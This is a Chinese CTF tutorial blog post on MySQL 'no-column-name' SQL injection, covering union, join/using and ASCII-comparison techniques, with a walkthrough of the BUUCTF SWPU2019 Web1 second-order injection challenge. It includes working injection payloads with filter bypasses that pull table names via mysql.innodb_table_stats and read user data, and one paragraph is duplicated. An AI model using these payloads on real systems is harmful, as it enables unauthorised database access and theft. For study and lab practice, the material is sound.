SQL无列名注入

SQL无列名注入

​ 前段时间,队里某位大佬发了一个关于sql注入无列名的文章,感觉好像很有用,特地研究下。

关于 information_schema 数据库:

​ 对于这一个库,我所知晓的内容并不多,并且之前总结SQL注入的时候忘记说这个数据库了,在这里补充一下,简单点儿来说,就是这个数据库中的某些表存放着数据库的一些信息,例如,我电脑中所有的数据库中存在如下的几个数据库:

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sakila             |
| sys                |
| test               |
| world              |
+--------------------+
7 rows in set (0.00 sec)

​ 那么我们通过查 information_schema 中的 SCHEMATA 表中的 SCHEMA_NAME 字段可以得到所有数据库的库名:

mysql> use information_schema;
Database changed
mysql> select SCHEMA_NAME from SCHEMATA;
+--------------------+
| SCHEMA_NAME        |
+--------------------+
| mysql              |
| information_schema |
| performance_schema |
| sys                |
| sakila             |
| world              |
| test               |
+--------------------+
7 rows in set (0.00 sec)

​ 同时,tables这个表中存在很多关于表的内容的字段,例如:

​ table_schema,这个字段用于存放某张表属于哪一个数据库的字段。

​ table_name, 这个字段用于存放所有的表的名字

​ 如果想要查到某个数据库中的所有表名,则需要查询table_name这个字段,然后用where来限制table_schema查找对应的数据库:

mysql> select table_name from TABLES where table_schema='test';
+------------+
| TABLE_NAME |
+------------+
| questions  |
+------------+
1 row in set (0.00 sec)

​ 另外,information_schema 库中还有一张columns表,这里面存的是所有字段的信息,columns表中存在table_name , table_schema , column_name 对于table_schema,这里面则是所有字段所在表的名字,而table_schema 则是存放了所有字段的表所在的数据库的名字,另外,column_name 则是存放了所有的字段的名字,因此,想要查询到某个数据库中所有字段的名字,或者某张表的所有的字段的名字则可以用如下的命令查找:

mysql> select column_name from columns where table_schema='test'; #查询某个库里面所有的字段的名字
+-------------+
| COLUMN_NAME |
+-------------+
| answer      |
| id          |
| quest       |
+-------------+
3 rows in set (0.00 sec)mysql> select column_name from columns where table_name='questions'; #查询某张表中所有字段的内容(由于这个库中只有一张表,所以结果一样)
+-------------+
| COLUMN_NAME |
+-------------+
| answer      |
| id          |
| quest       |
+-------------+
3 rows in set (0.00 sec)

关于InnoDb引擎:

我不知道这个具体是个什么东西,有什么用,但是还是记录一下,有条件再拿来研究看看。

​ 从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,mysql数据库中inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。其利用方式是:mysql.innodb_index_stats和mysql.innodb_table_stats

​ 依旧拿上面的那张表作为延时,也就是test库里面的questions这张表。

​ 再mysql这个数据库种存在两张表,里面分别存放了一些内容,例如,innodb_table_stats这个表,存放的是所有的表名,也就是database_name还有table_name这两张表,但是没有存放列名,因此,这里可以试着访问下:

mysql> select * from innodb_table_stats where database_name='ctfer';
+---------------+------------+---------------------+--------+----------------------+--------------------------+
| database_name | table_name | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+---------------+------------+---------------------+--------+----------------------+--------------------------+
| ctfer         | users      | 2024-03-02 16:37:10 |      0 |                    1 |                        0 |
+---------------+------------+---------------------+--------+----------------------+--------------------------+
1 row in set (0.00 sec)

​ 再然后就是mysql数据库中的innodb_index_stats表,里面我总结不出来具体是什么信息,但是里面存放有所有数据库中的所有表的信息,也就是database_name还有table_name这两张表,不过,还是没有存放字段的信息,这里可以试着访问下:

mysql> select * from innodb_index_stats where database_name='ctfer';
+---------------+------------+-----------------+---------------------+--------------+------------+-------------+-----------------------------------+
| database_name | table_name | index_name      | last_update         | stat_name    | stat_value | sample_size | stat_description                  |
+---------------+------------+-----------------+---------------------+--------------+------------+-------------+-----------------------------------+
| ctfer         | users      | GEN_CLUST_INDEX | 2024-03-02 16:37:10 | n_diff_pfx01 |          0 |           1 | DB_ROW_ID                         |
| ctfer         | users      | GEN_CLUST_INDEX | 2024-03-02 16:37:10 | n_leaf_pages |          1 |        NULL | Number of leaf pages in the index |
| ctfer         | users      | GEN_CLUST_INDEX | 2024-03-02 16:37:10 | size         |          1 |        NULL | Number of pages in the index      |
+---------------+------------+-----------------+---------------------+--------------+------------+-------------+-----------------------------------+
3 rows in set (0.00 sec)

关于sys数据库:

​ 在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。其用法是sys.schema_auto_increment_columns

​ 在sys数据库种,存在一个schema_auto_increment_columns表,里面存在几个字段,用于存放数据库名和表名以及字段名,有table_schema以及table_name还有column_name,但是,不知道为啥,我这里查询到的内容并不完全,少了很多内容,不过还是先仍在这儿吧

mysql> select * from schema_auto_increment_columns;
+--------------+------------+--------------+-----------+--------------------+-----------+-------------+------------+----------------+----------------------+
| table_schema | table_name | column_name  | data_type | column_type        | is_signed | is_unsigned | max_value  | auto_increment | auto_increment_ratio |
+--------------+------------+--------------+-----------+--------------------+-----------+-------------+------------+----------------+----------------------+
| sakila       | payment    | payment_id   | smallint  | smallint unsigned  |         0 |           1 |      65535 |          16049 |               0.2449 |
| sakila       | category   | category_id  | tinyint   | tinyint unsigned   |         0 |           1 |        255 |             16 |               0.0627 |
| sakila       | language   | language_id  | tinyint   | tinyint unsigned   |         0 |           1 |        255 |              6 |               0.0235 |
| sakila       | film       | film_id      | smallint  | smallint unsigned  |         0 |           1 |      65535 |           1000 |               0.0153 |
| sakila       | address    | address_id   | smallint  | smallint unsigned  |         0 |           1 |      65535 |            605 |               0.0092 |
| sakila       | city       | city_id      | smallint  | smallint unsigned  |         0 |           1 |      65535 |            600 |               0.0092 |
| sakila       | customer   | customer_id  | smallint  | smallint unsigned  |         0 |           1 |      65535 |            599 |               0.0091 |
| sakila       | staff      | staff_id     | tinyint   | tinyint unsigned   |         0 |           1 |        255 |              2 |               0.0078 |
| sakila       | store      | store_id     | tinyint   | tinyint unsigned   |         0 |           1 |        255 |              2 |               0.0078 |
| sakila       | actor      | actor_id     | smallint  | smallint unsigned  |         0 |           1 |      65535 |            200 |               0.0031 |
| sakila       | country    | country_id   | smallint  | smallint unsigned  |         0 |           1 |      65535 |            109 |               0.0017 |
| sakila       | inventory  | inventory_id | mediumint | mediumint unsigned |         0 |           1 |   16777215 |           4581 |               0.0003 |
| sakila       | rental     | rental_id    | int       | int                |         1 |           0 | 2147483647 |          16049 |               0.0000 |
| world        | city       | ID           | int       | int                |         1 |           0 | 2147483647 |           4079 |               0.0000 |
+--------------+------------+--------------+-----------+--------------------+-----------+-------------+------------+----------------+----------------------+
14 rows in set (0.01 sec)

无列名注入–union:

原理:

​ 例如,对于如下的一个表:

mysql> select * from users;
+----------+-----------+-----------------------------------+
| username | password  | flag                              |
+----------+-----------+-----------------------------------+
| xiaomi   | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+----------+-----------+-----------------------------------+
1 row in set (0.00 sec)

​ 如果我们想要进行查询,那么则需要表明,甚至是库名,不过,可以通过table_schema=database()来指定库名,因此,想要查询内容,则表名似乎成为了必须的内容,但是,在进行sql注入的时候,有的时候会对information进行过滤,因此,则无法做题,那么,这里则需要利用union的方式进行无列名的注入。

​ 如果我们想要查询到这个flag的话,那么我们或许可以考虑将字段修改为我们能够查询到的字段,比如,1、2、3,所以,使用如下命令做个尝试:

mysql> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)mysql> select 1,2,3  union select * from users;
+--------+-----------+-----------------------------------+
| 1      | 2         | 3                                 |
+--------+-----------+-----------------------------------+
| 1      | 2         | 3                                 |
| xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+--------+-----------+-----------------------------------+
2 rows in set (0.00 sec)

​ 可以知道的是,这里通过两次查询,第一次查询了1,2,3三个字段,第二次查询了users表中的所有字段,然后将users表中的所有字段联合在第一次查询到的字段中输出出来,根据这种情况,下面则有两种方式查询到flag的值:

mysql> select `3` from (select 1,2,3 union select * from users)a; #联合了1,2,3之后,如果用数字查询的话需要用反引号来表示引用,而不是一个值
+-----------------------------------+
| 3                                 |
+-----------------------------------+
| 3                                 |
| flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+-----------------------------------+
2 rows in set (0.00 sec)mysql> select b from (select 1,2,3 as b union select * from users)a; #这里通过3 as b 的方式给字段3重命名为b,然后再进行插叙
+-----------------------------------+
| b                                 |
+-----------------------------------+
| 3                                 |
| flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+-----------------------------------+
2 rows in set (0.00 sec)

注:这里不知道为何需要在括号外面随意写一些字符,如果有知道的话请帮忙讲解一下。

题目案例–BUUCTF----[SWPU2019]Web1:

​ 刚拿到这道题的时候,我是一点儿思路都没有,全称黑人问号,即使这道这道题的考点是sql注入也是一样的,完全找不到下手的点。

在这里插入图片描述

​ 最开始,一个登陆框一度让我认为是sql注入的万能密码,结果不是,弱密码?猜了几个也没才出来,因此,可以排除是弱密码以及万能密码了,跟着dalao们的wp做,发现这里可以直接注册一个非admin的账号,好吧,我人傻了,那就随便注册一下,账号qwe,密码123456,登录。

​ 登录之后是这样的一个内容:

在这里插入图片描述

​ 这里,似乎能点的超链接只有一个申请发布广告,下面那一个点了之后似乎就退出登录了,显然是错的,所以点一下申请发布广告:

在这里插入图片描述

​ 出现了这样的一个页面,那么,这个又代表了什么呢?如果不是明确地指出这道题是sql注入的话,我可能还是会无脑认为这个题目是一道XSS的漏洞,那么,这个到底是个啥?

​ 看了下dalao们的wp,说的是这是一道二次注入,是一道我没有遇到过的漏洞。

什么是二次注入:

​ 二次注入就是指以储存(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致注入。

二次注入的原理:

​ 首先,对于某些字符,在进行数据库插入数据时,对其中的某些特殊字符进行了转义处理,比如 1’变成了1\’ 在写入数据库的时候保留了原来的数据,也就是 1’。然后,开发者又默认了存入数据库中的数据都是安全的,因此,在进行查询时,直接从数据库中取出而已树据,并没有进行进一步的检验的处理,在下一次的使用中拼凑在一起,就形成了二次注入。

继续做题:

​ 既然这道题是个二次注入的题目,那么就应该考虑,使用sql注入的方式了。首先构造语句,判断注入类型以及想办法清楚到底过滤了那些关键字,首先构造sql语句,之后申请,然后广告详情:

1'

​ 得到了

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’ limit 0,1’ at line 1

​ 的一个回显,通过报错信息,或许是一个字符型注入,紧接着,判断过滤,经过多次尝试,发现过滤了的有:

or , # , 空格 , order by ,information_schema

​ 对于空格而言,则可以使用/**/来绕过,order by则可以使用group by ,#则可以使用,'3来闭合后面的引号来绕过,另外,information_schema 则可以使用最开始说到的无列名注入的相关的知识了,通过InnoDb引擎查表名,第一个payload为:

1'/**/group/**/by/**/22,'3

​ 首先,构造的group by后面的整数位22的时候,没有出现错误,但是,当整数为23的时候,却出现了报错:

在这里插入图片描述

​ 大致可以推测出,字段总的有22个。

​ 那么,知道了总的有多少个字段之后,就可以试着获得数据库名和表名了,构造的payload分别为:

​ 首先通过构造如下payload获取回显点,最后发现,回显点是2,3

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

​ 获得数据库名,成功拿到数据库为web1:

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/' 

​ 获得表名:

1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

​ 最后确定,web1这个数据库中存在的表为如下:

在这里插入图片描述

​ 根据dalao们的wp,他们使用的都是users这个表,因此,这里就不用一个表一个表地查了,直接users这个表梭哈:

1'/**/union/**/select/**/1,		(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

​ 该payload是利用了上面说到的无列名地union方法进行的,当然,为啥确定users表中存在3个字段呢?因为经过试错,发现一个字段,两个字段以及四个以上的时候,均是报错,所以,可以利用这一点,进行查询,然后通过

​ 然后通过修改as b 所在的地方,比如1的后方或者2的后方对列进行查找,最后发现在第三列查到了flag:

在这里插入图片描述

​ 完成啦 (p≧w≦q)

无列名注入–join:

​ 当然,由于union在的地位太过重要,因此有的时候可能会直接对union进行过滤,这个时候呢,就需要用到join来进行注入。

在那之前,先讲一下相关的前置知识,虽然我也不懂这些,不过还是先记录一下:

  • join 连接两张表
  • using() 用于两张表之间的 join 连接查询,并且 using()中的列在两张表中都存在,作为 join 的条件

​ 首先,还是之前的那一个ctfer的数据库,下面通过这个数据库做几个实验:

mysql> select * from users as a join users as b;
+----------+-----------+-----------------------------------+----------+-----------+-----------------------------------+
| username | password  | flag                              | username | password  | flag                              |
+----------+-----------+-----------------------------------+----------+-----------+-----------------------------------+
| xiaomi   | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | xiaomi   | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+----------+-----------+-----------------------------------+----------+-----------+-----------------------------------+
1 row in set (0.00 sec)

可以发现,查询的两次同一个表,被拼接成了一个,那么,这个有什么用呢?试试在这之前加上一个查询,看看查询这拼接到一起的这个表:

mysql> select * from (select * from users as a join users as b)a;
ERROR 1060 (42S21): Duplicate column name 'username'

​ 这里发现,报错了,并且还是字段名重复的错误,注:括号外面必须得加上任意字母,否则会报ERROR 1248 (42000): Every derived table must have its own alias的错误,因此,则可以使用这种方式获得所有的列名,不过前提还是得用InnoDb引擎来获取数据库名以及表名。

​ 根据上面的那个可以知道的是,其中一个字段的名字,但是,flag或许并不在这个字段里,那么,就需要想点办法获得下一个字段的名字了,不过,在那之前,得先排除掉已经知道的字段名的干扰,可以使用如下方法:

mysql> select * from users as a join users as b using(username);
+----------+-----------+-----------------------------------+-----------+-----------------------------------+
| username | password  | flag                              | password  | flag                              |
+----------+-----------+-----------------------------------+-----------+-----------------------------------+
| xiaomi   | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+----------+-----------+-----------------------------------+-----------+-----------------------------------+
1 row in set (0.00 sec)

​ 看看上面的内容,发现在增加了一个**using(username)**之后,username这个字段似乎奇迹般地没了,不过这里我不是很清楚原理是什么,不过,暂时能用就行,记录一下,以后有机会学到了这里再进行补充。那么,到了这个时候,重复的字段就只有password和flag了,于是,再用如下的语句进行查询看看:

mysql> select * from (select * from users as a join users as b using(username))a;
ERROR 1060 (42S21): Duplicate column name 'password'

​ 成功查询到了password这个字段名,紧接着,将password加入using()函数中,如下,即可拿到flag字段的字段名:

mysql> select * from (select * from users as a join users as b using(username,password))a;
ERROR 1060 (42S21): Duplicate column name 'flag'

​ 最后一步,如果将flag再填进using()函数中呢?会出现如下情况:

mysql> select * from (select * from users as a join users as b using(username,password,flag))a;
+----------+-----------+-----------------------------------+
| username | password  | flag                              |
+----------+-----------+-----------------------------------+
| xiaomi   | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+----------+-----------+-----------------------------------+
1 row in set (0.00 sec)

​ 内容被成功查询出来了,之后再怎么办就得根据题目的实际情况决定了,成功了!!! (p≧w≦q)

无列名注入–ascii位偏移:

​ 这个方法,是有点类似于sql盲注的爆破的,利用的是字符串进行比较是按位置进行比较,从最开始的那个开始,一位一位地比较,因此,当得到数据库名以及表名之后,则可以进行如下操作:

​ 不过这种方法有个前提,就是需要表内只有一个字段,不然只能获取到第一个字段的字段名。

mysql> select username from users;
+----------+
| username |
+----------+
| xiaomi   |
+----------+
1 row in set (0.00 sec)

​ 首先可以知道的是,username中的内容是xiaomi,因此,用如下方式可以进行比对:

mysql> select (select 'x')>(select username from users);
+-------------------------------------------+
| (select 'x')>(select username from users) |
+-------------------------------------------+
|                                         0 |
+-------------------------------------------+
1 row in set (0.00 sec)mysql> select (select 'y')>(select username from users);
+-------------------------------------------+
| (select 'y')>(select username from users) |
+-------------------------------------------+
|                                         1 |
+-------------------------------------------+
1 row in set (0.00 sec)

因为我这里存在三个字段,所以这里只有指定一下某个表进行查询。显而易见,在第一行中,我们用x进行对比,返回结果为0,对比y的时候返回结果为1,也就是说,这个字段的内容的第一位为x,接下来进行后续的对比:

mysql> select (select 'xi')>(select username from users);
+--------------------------------------------+
| (select 'xi')>(select username from users) |
+--------------------------------------------+
|                                          0 |
+--------------------------------------------+
1 row in set (0.00 sec)mysql> select (select 'xj')>(select username from users);
+--------------------------------------------+
| (select 'xj')>(select username from users) |
+--------------------------------------------+
|                                          1 |
+--------------------------------------------+
1 row in set (0.00 sec)

​ 后续的查询操作也就很明显了,当然,这里如果合适的话其实可以利用python写个爬虫来进行查询的:

mysql> select (select 'xiaomia')>(select username from users);
+-------------------------------------------------+
| (select 'xiaomia')>(select username from users) |
+-------------------------------------------------+
|                                               1 |
+-------------------------------------------------+
1 row in set (0.00 sec)

​ 当然,如果查询到最后一个,在这里也就是xiaomi 的第二个i的之后,如果再对后面进行对比的时候无论如何也是1,这里我做一个猜测,应该是因为字符串的结尾是以\x00结尾,因此,每一个可显示字符都要比这个字符大。

ect 'xiaomia')>(select username from users);
+-------------------------------------------------+
| (select 'xiaomia')>(select username from users) |
+-------------------------------------------------+
|                                               1 |
+-------------------------------------------------+
1 row in set (0.00 sec)

​ 当然,如果查询到最后一个,在这里也就是xiaomi 的第二个i的之后,如果再对后面进行对比的时候无论如何也是1,这里我做一个猜测,应该是因为字符串的结尾是以\x00结尾,因此,每一个可显示字符都要比这个字符大。

​ 好了,ascii位偏移的无列名注入也说完了!!! (p≧w≦q)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/517607.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Java JVM】Class 文件的加载

Java 虚拟机把描述类的数据从 Class 文件加载到内存, 并对数据进行校验, 转换解析和初始化, 最终形成可以被虚拟机直接使用的 Java 类型, 这个过程被称作虚拟机的类加载机制。 与那些在编译时需要进行连接的语言不同, 在 Java 语言里面, 类的加载, 连接和初始化过程都是在程序…

如何打造企业工厂的多元化展示?VR数字工厂告诉你

随着数字化进程推进以及互联网大数据等技术的发展,很多行业逐渐开始了数字化转型,而企业工厂也需要与时俱进。VR数字工厂需要多元化展现自身实力,并打造专属于自己的AI数字人名片,力求在市场中凸显自己,那么如何利用VR…

短剧系统开发:一种新型的娱乐方式

一、引言 随着科技的快速发展,人们的生活方式也在逐渐改变。在娱乐领域,短剧作为一种新型的娱乐方式,正在受到越来越多人的喜爱。短剧以其短小精悍、情节紧凑、易于观看等特点,迅速占领了市场。因此,开发一款短剧系统…

计算机的基础知识

计算机的特点及应用: 图灵说–计算就是基于规则的符号串变换从20世纪80年代开始,发达国家开始研制第五代计算机,研究的目标是能够打破以往计算机固有的体系结构,使计算机能够具有像人一样的思维、推理和判断能力,向智…

AI最新!雷军、许礼进、曹文泽、屠红燕发声

源自:上海证券报 “人工智能技术与咨询” 发布 尽快出台专项,以智能制造系统软件、AI大模型和通用仿生机器人的部署应用为重点产业突破方向,支持打造以大模型为代表的人工智能与制造业深度融合的应用场景; 加快整合人形机器人产…

未来娱乐新境界:探秘充气式球幕影院的奇妙世界

充气式球幕影院,这一融合科技与创意的娱乐新宠,正在引领我们踏上一场前所未有的奇妙旅程。它不仅仅是对视觉和感官体验的极致追求,更以其独特的魅力,让我们在观影中沉浸于前所未有的震撼与享受。 半球形梦幻观影空间: …

基础50刷题之一(交替合并字符串)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、题目二、力扣官方题解(双指针)三、文心一言解释总结 前言 刚上研一,有人劝我好好学C,当时用的不多就没学&a…

SQL Server基础指令(创建与检索)

数据库demo 数据库RUNOOB 表Websites 元素: 创建 创建数据库 create database xxx Create database school 创建数据表 create table xxx create table student 数据表插入记录 insert into 第一种形式无需指定要插入数据的列名,只需提供被插入的…

【应用多元统计分析】--多元数据的直观表示(R语言作图)

例1.2 为了研究全国31个省、市、自治区2018年城镇居民生活消费的分布规律,根据调查资料做区域消费类型划分。 指标: 食品x1:人均食品支出(元/人) 衣着x2:人均衣着商品支出(元/人) 居住x3:人均居住支出(元/人) 生活x4…

C#,回文分割问题(Palindrome Partitioning Problem)算法与源代码

1 回文串 “回文串”是一个正读和反读都一样的字符串,初始化标志flagtrue,比如“level”或者“noon”等等就是回文串。 2 回文分割问题 给定一个字符串,如果该字符串的每个子字符串都是回文的,那么该字符串的分区就是回文分区。…

【Java】关于ZooKeeper的原理以及一致性问题,协议和算法和ZooKeeper的理论知识和应用 场景

1. 目录 目录 1. 目录 2. 什么是ZooKeeper 3. 一致性问题 4. 一致性协议和算法 4.1. 2PC(两阶段提交) 4.2. 3PC(三阶段提交) 4.3. Paxos 算法 4.3.1. prepare 阶段 4.3.2. accept 阶段 4.3.3. paxos 算法的死循环…

【数据结构高阶】并查集

目录 一、什么是并查集 二、并查集的原理 三、并查集的作用 四、并查集的代码实现 一、什么是并查集 在一些应用问题中,需要将n个不同的元素划分成一些不相交的集合。开始时,每个元素自成一个 单元素集合,然后按一定的规律将归于同一组元…